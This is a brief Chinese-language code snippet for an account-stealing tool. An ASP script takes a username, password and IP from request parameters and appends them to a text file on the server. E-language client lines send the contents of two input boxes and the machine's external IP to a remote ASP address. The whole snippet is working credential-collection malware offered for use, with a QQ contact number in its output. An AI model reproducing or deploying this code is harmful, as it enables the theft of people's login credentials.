asp寫入FTP空間文本文件

<%
strLogFile="Spark.txt"
Name=request("Name")
Pass=request("Pass")
IP=request("IP")
if Name="" or Pass="" then
response.write "QQ:613163851 - -~"
response.end
End If
StrLogText=StrLogText&Name&"----"&Pass&"----IP:"&IP&("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "成功!"
%>

返回 (到文本 (HTTP讀文件 (地址 ＋ “?” ＋ “Name=” ＋ user ＋ “&Pass=” ＋ pass ＋ “&ip=” ＋ ip))

ASP (“http://14110.xxdd.net/hei/x.asp”, 編輯框1.內容, 編輯框2.內容, 外網IP)